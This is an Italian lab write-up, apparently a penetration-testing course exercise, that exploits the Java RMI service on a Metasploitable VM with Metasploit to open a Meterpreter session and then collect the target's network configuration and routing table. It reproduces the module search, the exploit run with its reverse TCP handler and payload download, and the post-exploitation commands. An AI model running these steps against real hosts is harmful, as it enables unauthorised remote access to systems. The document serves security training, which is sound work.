Metasploitable exploit

Richiesta: Metasploitable presenta un servizio vulnerabile sulla porta 1099 (Java RMI).
Si richiede di sfruttare tale vulnerabilità utilizzando Metasploit, al fine di ottenere una sessione di Meterpreter. Una volta ottenuta la sessione, raccogliere le seguenti informazioni:
1. Configurazione di rete
2. Informazioni sulla tabella di routing della macchina target.

Definizioni

Prima di eseguire l'attacco, definiamo i termini chiave.

Exploit: Attacco che sfrutta una vulnerabilità specifica all'interno di un sistema o un software, per alterarne il normale comportamento.
Esso utilizza un codice, un software o una sequenza di comandi che prende il nome di 'payload', tipicamente utilizzato per ottenere accesso non autorizzato o eseguire comandi arbitrari.

Meterpreter: Payload di attacco che fornisce una shell interattiva da cui un utente può esplorare la macchina di destinazione ed eseguire comandi.

Metasploit: Programma utilizzato tipicamente per test di penetrazione, permette di sviluppare, testare ed eseguire exploit contro un sistema remoto. Molto utile per ricercare vulnerabilità all'interno di un dispositivo.

Attacco

Eseguiamo un esempio pratico per vedere in azione un exploit.
Target: Metasploitable
Servizio: Java RMI (Remote Method Invocation)

1°Step: Conoscendo già la porta in cui è presente il servizio, avviamo metasploit e utilizziamo la versione dell'exploit più pertinente.

```
msf6 > search java_rmi

Matching Modules
================

   #  Name                                                  Disclosure Date  Rank       Check  Descri
ption
   -  ----                                                  ---------------  ----       -----  ------
-----
   0  auxiliary/gather/java_rmi_registry                                     normal     No     Java R
MI Registry Interfaces Enumeration
   1  exploit/multi/misc/java_rmi_server                    2011-10-15       excellent  Yes    Java R
MI Server Insecure Default Configuration Java Code Execution
   2  auxiliary/scanner/misc/java_rmi_server                2011-10-15       normal     No     Java R
MI Server Insecure Endpoint Code Execution Scanner
   3  exploit/multi/browser/java_rmi_connection_impl        2010-03-31       excellent  No     Java R
MIConnectionImpl Deserialization Privilege Escalation
```

2°Step: Una volta scelta la versione, settiamo l'ip della macchina target tramite il comando *"set rhost <ip metasploitable>"*.
Adesso possiamo avviare l'exploit e ottenere una sessione meterpreter.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/itUkw0LXYG
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:54197) at 2024-01-26 08
:16:00 -0500

meterpreter >
```

Sessione avviata con successo.

3°Step: Per ottenere le informazioni relative alla configurazione di rete eseguiamo il comando *"ifconfig"*.

```
Interface  1
============
Name         : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::


Interface  2
============
Name         : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : 2001:b07:6473:f0f0:a00:27ff:fefc:51ad
IPv6 Netmask : ::
IPv6 Address : fe80::a00:27ff:fefc:51ad
IPv6 Netmask : ::
meterpreter >
```

4°Step: Attraverso il comando *"route"* otteniamo le informazioni riguardanti la tabella di routing.

```
meterpreter > route

IPv4 network routes
===================

    Subnet          Netmask        Gateway  Metric  Interface
    ------          -------        -------  ------  ---------
    127.0.0.1       255.0.0.0      0.0.0.0
    192.168.11.112  255.255.255.0  0.0.0.0


IPv6 network routes
===================

    Subnet                                  Netmask  Gateway  Metric  Interface
    ------                                  -------  -------  ------  ---------
    ::1                                     ::       ::
    2001:b07:6473:f0f0:a00:27ff:fefc:51ad   ::       ::
    fe80::a00:27ff:fefc:51ad                ::       ::
meterpreter >
```

Le informazioni sono state recuperate, l'attacco è stato un successo.